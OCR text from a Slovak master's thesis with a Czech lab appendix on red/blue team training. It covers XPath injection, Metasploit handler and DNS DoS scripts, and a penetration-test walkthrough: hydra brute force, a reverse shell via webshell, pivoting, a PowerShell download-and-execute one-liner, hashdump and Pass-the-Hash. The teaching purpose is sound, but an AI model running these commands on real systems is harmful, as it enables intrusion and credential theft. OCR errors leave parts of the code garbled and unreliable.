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Vocdi tejto zranitelnosti sa da branit pouzitim algoritmu HMAC. HMAC algorit-
mus je naro¢nejsi a funguje nasledovne hash(tajomstvo||hash(tajomstvo||data)).
Toto je iba jednoduchy nacrt na pochopenie toho ako algoritmus HMAC funguje.
Dolezité je to, ze hashovacia funkcia sa pouziva dvakrat, tym padom tajomstvo nie

je zranitelné voci zmienenému utoku.

4.3.3 XPATH

XML dokumenty su tloziskom tidajov a mozu byt vyuzivané rovnako ako databaza,
¢o znamena, ze potrebuji mat aj svoj vlastny dotazovaci jazyk. Preto bol vytvoreny
XPath, ktory je podobny SQL, pretoze dokédze rozumief podmienkam a datam.
Pomocou tohto jazyka je mozné v dokumente hladat. Vysledkom vyhladavania je
vratenie uzlov, alebo dat ktoré boli hladané namiesto celého dokumentu.

Xpath berie XML dokument ako strom. Lomitko (/) sa odkazuje na korenovy
uzol a kazdy dalsi uzol pod nim je oddeleny lomitkom. Existuji dva typy vyhla-
davania ktoré mozeme vykonaf. Jedno, ktoré vracia vsetky uzly Specifického typu
a druhé, ktoré vrati zhodu so zadanou podmienkou. Pre uvedenie prikladu prvého

vyhladavania, zada sa vyhladédvanie //Skupiny vid nizsie.

<?7xml version="1.0" encoding="utf-8"7>
<Skupiny>
<Zamestnanci>
<0Osoba ID="1">
<Meno>Daniel </Meno>
<Vek>18</Vek>
</0soba>

</Zamestnanci>
</Skupiny>

Navrh a implementacia ulohy

Na adrese http://xpath.tic.ex bezi intranet urcitej spolo¢nosti. Po zadani ad-
resy do prehliadaca je uzivatel presmerovany na prihlasovaciu stranku spoloc¢nosti
http://xpath.tic.ex/login.php. Cielom studenta je prihlésit sa do intranetu, av-
sak student nepoznd prihlasovacie idaje. Z toho vyplyva, Ze bude musiet prekonat

autentizacny mechanizmus. Ako je spomenuté vyssie v teoretickej casti, XPath je
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dost podobny SQL, takze prvym pokusom bude vyuzitie tautoldgie. Tautoldgia je
v matematickej logike vyrok, ktory je vzdy pravdivy. Do oboch vstupnych poli vlo-

zime nasledujtci vyrok:

Please confirm your username and password before viewing your profile.
*Required Fields

*User Mame: i:.{:r .'.‘.I.':"1 |

*Password: |‘ or1'="1 |

| Submit |

Obr. 4.13: Prihlasovaci formular do intranetu

Ak je uzivatel prihlaseny v systéme, dalsim krokom bude ziskat vsetkych uzi-
vatelov ulozenych v databaze. K splneniu tohto ciela si dve mozné cesty. Kedze sa
jedné o zamestnancov spolo¢nosti, mézeme vyskusat vlozit vstup //Zamestnanci,

ktory sa odkazuje na uzol obsahujici zoznam vsetkych zamestnancov vid obr. 4.14.

Search: //IZamestnanci |

| Submit |

1 Caniel 18
John 22

£ Peter 17

Obr. 4.14: Enumeracia zamestnancov pomocou vlozenia XPath kédu moznost 1

Druhou moznostou je vlozit ako vstup . (bodku), ktord sa vzdy odkazuje na

nejaki polozku (uzol, alebo int hodnotu) vid obr. 4.15.

Search: l |

| Submit

1 Daniel 18
John 22

3 Peter 1.#

Obr. 4.15: Enumeracia zamestnancov pomocou vlozenia XPath kodu moznost 2
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Toto cvicenie predstavilo tzv. utok vlozenia XPath kdédu pouzitim Xpath logic-
kych operatorov a tautologie.

K zamedzeniu tohoto ttoku, podobne ako u SQL injection, je potrebné vyuzivat
parametrizované ziadosti pokial st dostupné, alebo oSetrovat uzivatelské vstupy pre
ich bezpecné vkladanie do dynamicky vytvaranych ziadosti. Pokial sa vyuzivaja
uvodzovky k ukonc¢eniu nedoveryhodného vstupu uzivatela v dynamicky vytvorenych
XPath ziadostiach, potom je potrebné zabezpecit aby vo vstupe tieto ivodzovky
nefungovali ako ukoncenie nedéveryhodnych dat, ¢o by uzivatelovi umoznovalo vlozit
vlastny kéd [37].

4.4 Navrh a implementacia automatizacie Cerveného
timu

Aby mohli studenti absolvovat cvicenie aj v roli modrého timu, je potrebné zau-
tomatizovat rolu timu cerveného. Jedna sa o naroc¢nu tlohu, ktord by si zasluzila
vlastné téma diplomovej prace, preto je automatizacia v tejto casti ponata ako viac
jednoduchych bash a ruby skriptov, ktoré spustaju rézne nastroje.

KedZe niektoré prvky je pomerne naro¢né naskriptovat, cerveny tim nie je mozné
plne automatizovat. Niektoré casti skriptu su interaktivne a vyzaduju od operatora
napriklad zadavanie IP adries, alebo interakciu s mysSou. Toto rieSenie ma vyhodu
toho, ze operator ma vsetky tutoky viac pod kontrolou.

Nasledujuci text popisuje jednotlivé casti skriptu v chronologickej postupnosti.
Medzi kazdym ttokom je urcity c¢asovy interval, aby boli Studenti schopni prist na
to, ¢o sa deje. Kazdy skript disponuje moznostou pre operatora zvolit si viac IP

adries, alebo portov k vykonaniu danej tilohy.

Popis skriptov

1. Sken prostredia pomocou nastroja nmap. Operator zada pocet rozsahov
k oskenovaniu a nasledne zada samotné rozsahy.

2. Slovnikovy utok na DNS server, na ktorom je spustend sluzba SSH. Utok
vyuziva nastroj hydra.

3. Exfiltrovanie dat. Na DNS serveri je nahrany verejny kIic¢ ttoc¢nika, pomo-
cou ktorého sa tam utocnik prihlasi a nastrojom scp exfiltruje data.

4. DoS na DNS server, ktory jednym paketom zhodi sluzbu DNS. Pre tento
utok je pouzity nastroj msfconsole.

5. Vytvorenie handlera potrebného pre naviazanie spatného pripojenia v na-

sledujicom kroku. V tmux termindly sa spusti metasploit, ktory nasledne
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vytvori handlery pre prichddzajice spojenia. Metasploit je spusteni v tmux
z dovodu perzistencie programu.

6. Naviazanie spatného spojenia z webového servera v demilitarizovanej zéne
pomocou nastroja cURL.

7. Vytvorenie pivota do internej siete. Jedna sa o skript v jazyku Ruby,
ktory spusti proxy server a nasledne presmeruje tok dat z externej siete do
siete interne;j.

8. Vygenerovanie malwaru, ktory bude spusteny v prikazovom riadku stroja
v internej sieti. Skodlivy kéd vytvori spatné spojenie na stroj testera.

9. Pass the Hash je posledny skript a slazi k autentizacii testera vo¢i doméno-

vému kontroléru za pomoci zisteného NTLM hashu doménového uzivatela.

Vsetky spomenuté skripty st obsiahnuté v elektronickej prilohe diplomovej préce.
Pre znézornenie ako popisované skripty vyzeraju z hladiska zdrojového kédu vid 4.1
a 4.2.

Vypis 4.1: Skript 5 msf.rc

<ruby>
ports = []

puts "Zadaj pocet handlerov k~vytvoreniu:"

handler = gets.to_1i

for i in 1..handler do
puts "Zadaj port pre #{i}. handler: "
port = gets.to_1i
ports << port

end

run_single("use exploit/multi/handler")
run_single("set PAYLOAD linux/x86/shell reverse_tcp")
run_single("set LHOST 0.0.0.0")

run_single("set ExitOnSession false")

ports.each { |element|
run_single("set LPORT #{elementl}")

run_single("run -j -z"

run_single("jobs")
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</ruby>

Vypis 4.2: Skript 4 dosDNS

#!/bin/bash

ips=Q0)

echo "Pocet adries k~DoS utoku: "

read pocet_adries

for adresa in $(seq $pocet_adries);
do
echo "$adresa. IP adresa::"
read ip
if [[ "$ip" =~ ~([0-91{1,3})[.1([0-9]
{1,31) [.1C[0-91{1,3}) [.1([0-91{1,3})% 1]
then
for (( i=1; i<${#BASH REMATCH[@]}; ++1i ))
do
(C ${BASH_REMATCH[$il} <= 255 )) || { echo
"Nespravne zadana adresa" >&2; exit 1; }
done
else
echo "Nespravne zadana adresa." >&2
exit 1;
fi
ips+=($ip)

done;

for i in ${ips([@]};

do
echo "Spustam DoS na adresu $i ..."
msfconsole -x "use auxiliary/dos/dns/bind_tkey; set
RHOSTS $i; run; exit"

done

echo "DoS faza ukoncenal!!!"”
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5 Zaver

Cielom diplomovej prace bolo zamerat sa na problematiku etického hackingu a pe-
netracného testovania, a nasledne navrhnut a implementovat vhodné prostredie pre
vykonanie Red/Blue tim cvi¢enia. Dalej bolo hlavnym cielom vytvorit bezpeénostné
hry a navrhniuf metody automatického redteamingu.

V préci je popisand analyza virtualizacnych nastrojov a vyber toho najvhodnej-
sieho nastroja pre realizdciu cvicenia. Po hlbsej analyze bol nakoniec zvoleny néstroj
VMware vSphere v ktorom bola infrastruktira diplomovej prace implementovana.
V analytickej ¢asti boli taktiez popisané aj mozné varianty, ak by bola zvolena cesta
open source projektov.

Dalej praca v praktickej ¢asti popisuje dve cvi¢enia a navrh automatizicie er-
veného timu. Prvé cvicenie je zamerané na Red/Blue tim cvicenie a popisuje im-
plementované stroje v infrastruktire, nasadené zranitelnosti a ich mitigaciu. Druhé
cvicenie popisuje testovanie bezpecnosti webovych aplikacii pomocou pokrocilejsich
metod utokov a moznosti mitigacie zmienenych zranitelnosti. Cvicenie sa sklada
z teoretickej aj praktickej cCasti, pricom v ramci implementacie tloh boli vyuzité
rozne projekty s dopredu nakonfigurovanymi virtualnymi strojmi. Pre automatiza-
ciu ¢erveného timu bola zvolend cesta vytvorenia viacerych interaktivnych skriptov,
ktoré budu obsluhované operatorom. Prilohu diplomovej prace tvori praktické cvice-
nie Red/Blue tim pre predmet Bezpecnost ICT3 (VCT3) a v elektronickej prilohe st
obsiahnuté skripty pre automatizaciu ¢erveného timu. Navrhnuté a implementované
cvicenie bolo vyskusané v ramci vyuky predmetu ICT3. Cvicenie absolvovalo celkom
19 studentov, ktori boli schopni cvi¢enie podla navodu splnit az do konca. Iba Sty-
rom Studentom sa cvicenie nepodarilo dokoncit. Vsetky stanovené ciele diplomovej

préace boli splnené.
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Zoznam symbolov, veliCin a skratiek

IT
OWASP
OSSTM
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DNS
NATO
SNMP
AWS
SaaS
DC
SSH
RDP
NTLM
AD
DES
OWF
KRBTGT
LAPS
SSTI
XSS
URL
SQL
XML

Informacné technoldgie

Open Web Application Security Project
Open Source Security Testing Methodology Manual
Intrusion Detection System

Intrusion Prevention System

Domain Name System

North Atlantic Treaty Organization
Simple Network Management Protocol
Amazon Web Services

Software as a Service

Doménovy kontrolér

Secure shell

Remote Desktop

NT Lan Manager

Active Directory

Data Encryption Standart

One Way Function

Kerberos Ticket Granting Ticket
Local Administrator System Solution
Server Side Template Injection

Cross Site Scripting

Uniform Resource Locator

Structured Query Language

Exensible Markup Language
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A Penetracni testovani sitové infrastruktury

Nésledujici tloha je zamérena na penetracni testovani produkéni sitové infrastruk-
tury. Cilem testovani je zjisti jestli je mozné ziskat pristup do interni sité spole¢nosti

a ziskat senzitivni informace (popf. néjaka aktiva).

Cil:

1. Realizujte penetracni testovani sitové infrastruktury. Pokuste se kompromitovat
rfadi¢c domény v interni siti a ziskejte hashe hesel vSech uzivatel spolec¢nosti.

2. Realizujte bezpecnostni zpravu o realizovaném testovani (struktura).

3. Prezentujte dosazené vysledky vcetné navrhu protiopatieni.

Potrebné vybaveni:
- Pro realizaci testovani budeme pouzivat Kali Linux 2019.

- Virtualizovana infrastruktura spolecnosti.

Nastaveni pracovisté:

Ve Windows zapneme virtualni interface VLAN-krypto,

Sit” 9

L . U!_AN-kr}rptD

Intel(R) Ethernet Connection (2] L.

Obr. A.1: Sitova karta VLAN-krypto

extrahujeme Kali 2019, nalezneme jej ve slozce D:\TIC\kali-linux-2019.3-vmware-
amd64.7z.

X - sit pro skupinu (prvni dvé fady X=0, zadni dvé rady X=1)

Y - Kali linux (¢islo pracovisté + 60)

GNU nano 4.3 Jfetc/network/interfaces Modified

Obr. A.2: Nastaveni sité
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Testovaci scénar:

Zakaznik si objedna penetracni test sifové produkéni firemni infrastruktury. Jeho
specifikace zadani neni “prekvapivé” zcela jasna. Po konzultaci s bezpec¢nostnim ty-
mem vybere testovani na dalku formou black-box. Zékaznik poskytne testerim IP
adresy DNS serveru (10.X.77.11) a webového serveru (10.X.77.12), které se nachazi
v DMZ. IT oddéleni spolecnosti je o testovani informovano a IP adresa (10.X.76.Y),
ze které bude realizovano testovani nebude pridana na black list po zaznamenéni

anomalii.

Rozsah testll neni nijak omezen, zakaznik zakazal DoS tutoky a destruktivni testy.
Pokud se podaii kompromitovat stroj v DMZ, testovani muze pokracovat dédle do
interni sifové infrastruktury. Je nutné brat zretel, Ze testovani neprobiha ve virtuali-
zovaném prostredi, ale ve firemnim produkcénim prostredi, proto je vhodné vyvarovat
se pouziti neznamych exploiti. Zakladni schéma testovaciho scénare je zobrazeno na
obr. A.3.
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10.X76Y

A

DNS WEE

10X77.11  10X77.12
\_ dns.brewlocal web.brewlocal /

Obr. A.3: Schéma testovaciho scénare
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Veskeré realizované kroky testovani a dosazené vysledky zaznamendavaje. Jsou diile-

zité pro tvorbu reportu. Vysledny report je soucasti laboratorniho cviceni.

A.1 Skenovani DNS a WEB serveru

Spustte Kali linuxu 2019 a oskenujte poskytnuté IP adresy. Co vidite 7 Jaké operacni

systémy a jaké sluzby tam bézi 7

[ nmap -Pn -n -sV 10.X.77.11-12 -0A /root/evidence/dmz.txt

Vysledkem scanu jsou analyzované sluzby DNS (port 53), SSH (port 22) na stroji
X.11 a HTTP (port 80) na stroji X.12.

A.2 Ziskejte SSH pristup k DNS serveru

Zkuste ziskat pristup na DNS server pomoci sluzby SSH. Hydra je nastroj na reali-
zaci brute-force (slovnikového) titoku na definovanou sluzbu. Ptikaz realizuje slovni-
kovy utok na sluzbu SSH (parametr -L slovnik uzivatela , -P slovnik hesel, pouzijte
pred-pripraveny slovnik 1000passwords).

hydra -t 4 -F -V -L /root/slovnik/users.txt -P /root/slovnik/
1000passwords.txt ssh://10.X.77.11 -0 /root/evidence/
dmz dns ssh-pass.txt

Utok zabere cca 2-3 minuty. Vysledkem tohoto kroku je nalezené heslo pro Ad-
ministratora SSH sluzby na DNS serveru! Pomoci nalezeného loginu a hesla jde
ziskat pristup k administraci webového serveru pomoci webshellu. Ziskejte adresu

ke spusténi webshellu.

A.3 Ziskejte pristup na webovy server navazanim re-

verz shellu

Ziskejte pristup na webovy server a navazte se serverem spojeni (cilem je navézat
zpétné spojeni z webového serveru na Kali). Existuje vic zpusobu jak navazat reverz
shell. Jeden ze zpusobu je vytvorit listener v metasploit konzoly (viz nasledujici

kod). A spusténi reverz shellu za pomoci webshellu viz obr. A.4.
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Vytvoreni listeneru:

msfconsole

msf>use exploit/multi/handler

msf>set payload linux/x86/shell reverse tcp
msf>set lhost 10.X.76.Y

msf>set Iport 4445

msf>set ExitOnSession false

msf>run -jz

Nyni spuste webshell (viz ziskané informace v bodé 1). Nakonfigurujte reverz
shell na IP adresu Kali linuxu. Po nadvazani reverz shellu je potiebné ho upgradovat
na meterpreter shell:

7~

msf >sessions -u [¢islo spojeni]

.

Prepnéte se do upgradovaného spojeni:

msf >sessions [¢islo ugradovaného spojeni]

Reverse Shell
Target IP 18.X.76.Y

Port 4445

php 'I

Obr. A.4: Navazani reverz shellu pres webshell

Vysledkem je reverz shell s meterpreter payloadem.

A.4 Pasivni sken interni sité

Zjistéte, zda ma webovy server pristup do interni sité. Pokud ano, oskenujte ji pro
zjisténi adres potencionalnich cili. Vyuzijte k tomu vypis ARP tabulky webového
serveru.

Pro objeveni stroju v interni siti postaci pasivni sken v meterpretru:

[ arp ]

o7



Piikaz arp v meterpretru vypise ARP tabulku stroju se kterymi webserver ko-

munikuje. Z vysledku pasivniho skenu vidime rozsah interni sité 192.168.2.7Z.

A

Internet

10.X76Y

v

/_ DmZ \\ /F SRV \

DNS WEB 192.168.2.7F ' i
10771 10.X.77.12 alebo
\ dns.brew.local web.brew.lucal_// ‘\_ 192.168.57 _{/

Obr. A.5: Vysledek pasivniho skenu (interni sit)
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A.5 Realizace pivotu ke kompromitaci interni sité

Ze ziskaného webového serveru udélejte pivot a kompromitujte interni sif. Pivoto-
vani je technika slouzici k smérovani provozu z kompromitovaného stroje umoznujici
pristup do interni sité A.10. Pouzijeme k tomu meterpreter spojeni navazané s webo-
vym serverem. V prvnim kroku sméfujeme provoz do interni sité pomoci vytvoreni
routy z webového serveru (viz ziskané informace z ARP tabulky). V druhém kroku

priddme proxy pro preposilani komunikace do interni sité.

Vytvoreni cesty pro interni sif:

msf >sessions -i [¢islo spojent]
meterpreter>run autoroute -s 192.168.2(5).0

Ovéreni vytvorené cesty:

meterpreter>run autoroute -p

.

Pridéni proxy (proxychains):

msf>use auxiliary/server /socksda

msf>run

Pro oskenovani interni sité pouzijte nmap, Z oznacuje nalezenou stanici:

7

proxychains nmap -Pn -n -sV 192.168.2(5).Z -p 3389 -0A /root/evidence/s-
can int X.txt

proxychains rdesktop [IP]

\

Vysledkem skenu jsou oteviené porty a sluzby bézici na objeveném stroji v interni

siti.

A.6 Vyuziti Utilman

Na jednom stroji v interni siti bézi protokol RDP. Jak je mozné tenhle protokol

vyuzit pri nespravné konfiguraci 7 Co je Utilman ? Jak se spousti ? A.10
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Obr. A.6: Utilman

Generovani skodlivého kédu:

msf >use exploit/multi/script/web_ delivery

msf>show options (Nastavit podle obrazku 5)

Prikazem show targets je mozné si zobrazit v jakem forméate se mé kéd generovat.
Pokud metasploit vyhodi error, pravdepodobné je potteba zmenit LPORT na volny
port. RDP spojeni se po kratké dobé prerusi pokud je uzivatel neaktivni. Pokud
se vam spojeni prerusilo, prejdéte na krok ¢. 7. Po vygenerovani skodlivého kédu
znovu spustte RDP - cmd.exe a nésledné spustéte ptikaz s powershellem z kroku
¢. 7. Pokud se navazalo spojeni, vyuzijte ho a zmigrujte proces powershellu na jiny

process.

meterpreter>migrate [¢islo procesu]

Pri vybéru vhodného procesu by mélo byt spojeni perzistentni. Nejlepsi je zvolit

procesy spustény pod systémem kviili privilegovanému rezimu.

60



oit/multi/scri D ivery)
scription
s must be an address on the local machine or 0.0.0.0
ert N Path B/G o] r o l 5 ndomly generated)
URIPATH xxX N L or this exp aul S dom)
Payload options (wir x64/meterpreter/rev

Name Cur >et g Required Description

EXITFUNC xit o , none)
LHOST :
LPORT

Exploit target:
Id Name

PSH

Obr. A.7: Vytvoreni skodlivého payloadu

A.7 Ziskejte hashe pristupovych hesel ze stroje

Navazte reverz shell s kompromitovanym stroj v interni siti a udélejte hashdump pro
pristupové udaje. (Pro hashdump je potiebné mit privilegovaného uzivatele, nebo
systémové opravnéni). Existuje vice moznosti jak navazat reverz shell na stroji.
V nasem prikladé vyuzivame tzv. 'one-liner’, ktery vyuziva PowerShell k stdhnuti
skodlivého kodu z tutociciho stroje a spusti ho v paméti.

Generovani skodlivého kédu:

msf >use exploit/multi/script/web_ delivery

Prikazem show targets je mozné si zobrazit v jakem forméate se mé kéd generovat.

V prikazovem radku daného stroje je potiebné spustit prikaz:

s ~

powershell.exe I[EX (New-Object net.webclient).DownloadString(’http://10.
X.76.Y:8080/xxx’)

pricem xxx je parametr URIPATH v nastaveni exploitu,

meterpreter>hashdump

Vysledek operace je zobrazen na nasledujicim obrazku obr. A.8.

Obr. A.8: Vycteni piihlasovacich idaju (hashdump)
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A.8 Sken sité pro nalezeni radice domény

Po kompromitaci Files serveru naleznete DC (fadi¢ domény). DC musi mit nastaven
DNS server pro spravné fungovani domény. Je potreba zaslat dotaz na DNS server

pro zjisténi jeho IP adresy.

meterpreter>shell

nslookup dc

meterpreter = shell

.2.9200]
All rights reserved.

C:\Windows\system32>nslookup dc

Obr. A.9: DNS dotaz pro nalezeni DC

A.9 Vyuzijte zranitelnosti protokolu NTLM

Vyuzijte ziskanych hashii k realizaci titoku Pass-the-Hash na radi¢ domény. Pass-the-
Hash je 1utok, ktery umoznuje utocnikovi vyuzit LM a NTLM hashe k autentizaci
ke vzdélené (i lokdlni) stanici bez znalosti hesla a bez nutnosti prolomeni téchto
hasht A.10. Cely postup je zalozen na zranitelnosti autentiza¢niho protokolu NTLM.
Hint: Na tadi¢i domény je spusténd SMB (Server Message Block resp. Samba) na
porte 445. Vyuzijte PsExec, kde se jako SMBPass nastavi ziskany hash doménového
uzivatele. V mfconsole vyuzijte exploit exploit/windows/smb/psexec_psh (viz obr.
A.10).
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Obr. A.10: Realizace titoku Pass-the-Hash

Pokud to vyhodi chybu, je potfebné zménit LPORT na nevyuzity port. Vysledkem
je reverz shell na radi¢ domény.

A.10 Bonusovy ukol

Ziskejte idaje potrebné na vytvoreni Golden Ticket. Golden ticket je autentizacny
token protokolu KERBEROS, ktery patti uctu KRBTGT. KRBTGT je specidlni

ucet pro podepisovani vsech autentiza¢nych tokenu pro radi¢ domény A.10.

Dotazy:

1. K ¢emu slouzi pouzity prepinace v nmapu? (-n -Pn -sV -0A)

2. Jak funguje vyuzity pasivni sken sité ? (arp -a)

3. Co je pivot 7 K ¢emu slouzi ?

4. Jak je mozné autentizovat se vo¢i OS Windows bez znalosti hesla 7
5. K ¢emu lze vyuzit uzivatele KRBTGT?
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